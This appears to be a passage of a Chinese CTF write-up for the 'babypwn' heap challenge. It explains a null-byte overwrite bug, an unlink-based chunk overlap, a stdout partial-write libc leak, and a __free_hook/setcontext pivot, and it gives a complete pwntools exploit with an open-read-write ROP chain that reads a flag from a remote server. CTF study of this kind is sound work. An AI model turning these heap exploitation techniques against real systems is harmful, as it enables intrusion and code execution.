a1 ^= (32 * a1) ^ ((a1 ^ (32 * a1)) >> 17) ^ (((32 * a1) ^ a1 ^ ((a1 ^ (32 * a1)) >> 17)) << 13);
return printf("%lx\n", a1);
}

采用z3库来解,只能解一次循环加密的,第二次循环的解不出来,只能不用该条件了。

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 __fastcall chc(_BYTE *a1)
{
unsigned __int64 ch_; // rax

while ( 1 )
{
ch_ = (unsigned __int8)*a1;
if ( !(_BYTE)ch_ )
break;
if ( *a1 == '\x11' ) // vul
{
ch_ = (unsigned __int64)a1;
*a1 = 0;
return ch_;
}
++a1;
}
return ch_;
}

在输入完数据后,会死循环读取数据,若出现’\x00’则跳出,若出现’\x11’修改该字节为’\x00’且跳出循环。这利用方式就跟off by one差不多了。

程序开了沙箱

1
2
3
4
5
6
7
8
__int64 sub_BAA()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
return seccomp_load(v1);
}

前期我以为程序是在2.31下的利用方式,我一直在glibc 为2.31的环境下调试,怎么都不好构造绕过prev_size == chunk_size这个检查,查看libc.so.6,发现为2.27的。。。

那就很方便的采用unlink构造堆重叠,由于没有办法解密上面那个泄漏的数据,只能partial write打到_IO_2_1_stdout泄漏libc,打通几率1 / 16,

泄漏之后,然后劫持__free_hook为setcontext + 53处的gadget实现堆栈迁移值 __free_hook - 0x108处,这里我是放在__free_hook高地址位置的,本地能打通,远程死活打不通,我只调用write函数能够泄漏地址信息,应该是某些部分数据被覆盖,导致我的rop链破坏了,只能将rop放在__free_hook上面。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = './babypwn'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.130.158:8888"

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(sz):
sla('>>', '1')
sla(':', str(sz))

def rm(idx):
sla('>>', '2')
sla(':', str(idx))

def md(idx, d):
sla('>>', '3')
sla(':', str(idx))
sa(':', d)

def dp(idx):
sla('>>', '4')
sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad(0x108) # 0
ad(0x128) # 1
ad(0x118) # 2
ad(0x108) # 3

for i in range(7):
ad(0x100)

for i in range(4, 11):
rm(i)

for i in range(7):
ad(0xf0)

for i in range(4, 11):
rm(i)
rm(0) # set libc


md(2, 'A' * 0x118) # set last one
md(2, b'A' * 0x110 + p64(0x120 + 0x130 + 0x110))
md(3, b'A' * 0xf8 + p64(0x121)) # set fake size

rm(3) # unlink

ad(0x108) # 0
ad(0x108) # 3

ad(0x108) # 4
ad(0x108) # 5
ad(0x108) # 7
ad(0x108) # 8
ad(0x108) # 9

rm(2) # remove chunk1

ad(0xd0) # 2
ad(0x150) # 9

ad(0x130) # 10
#2760
md(10, '\x50\x97') # set to stdout

ad(0x118) # 11
ad(0x118) # 12

p = b'A' * 0x10
p += p64(0xfbad3c80) + p64(0) * 3 + p8(0)
md(12, p)

leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - (0x7ffff7b8a8b0 - 0x7ffff779d000)
li('libc_base: ' + hex(libc_base))

rm(11)
md(10, p64(libc_base + libc.sym['__free_hook'] - 0x110))

ad(0x130) # 11
ad(0x130) # 13

libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']
pop_rdx_rsi = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
pop_rdi = libc_base + 0x000000000002155f # pop rdi ; ret
ret = libc_base + 0x00000000000008aa # ret
pop_rax = libc_base + 0x00000000000439c8 # pop rax ; ret
syscall = libc_base + 0x11007f

'''
p = p64(libc_base + 0x520a5) # setcontext
p += p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] + 0x120)
p += p64(pop_rdx_rsi) + p64(0) + p64(0)
p += p64(libc_open)
p += p64(pop_rdi) + p64(3)
p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
p += p64(libc_read)
p += p64(pop_rdi) + p64(1)
p += p64(libc_write)
p = p.ljust(0x120, b'\x00')
p += b'./flag'
'''

p = p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] - 0x10) # flag
p += p64(pop_rdx_rsi) + p64(0) + p64(0)
p += p64(pop_rax) + p64(2)
p += p64(syscall)

p += p64(pop_rdi) + p64(3)
p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
p += p64(pop_rax) + p64(0)
p += p64(syscall)

p += p64(pop_rdi) + p64(1)
p += p64(pop_rax) + p64(1)
p += p64(syscall)

p = p.ljust(0x100, b'\x00')
p += b'./flag.txt\x00'.ljust(0x10, b'\x00')
p += p64(libc_base + 0x520a5) # setcontext

md(13, p) # modify free_hook

p = b'A' * 0xa0
p += p64(libc_base + libc.sym['__free_hook'] - 0x110) # rsp
p += p64(ret) # rcx
md(11, p)

db()
rm(11)


def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
#io = elf.process()
io = process(elf_path, env = {'LD_PREALOAD': libc_path})
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

打赏点小钱
支付宝 | Alipay
微信 | WeChat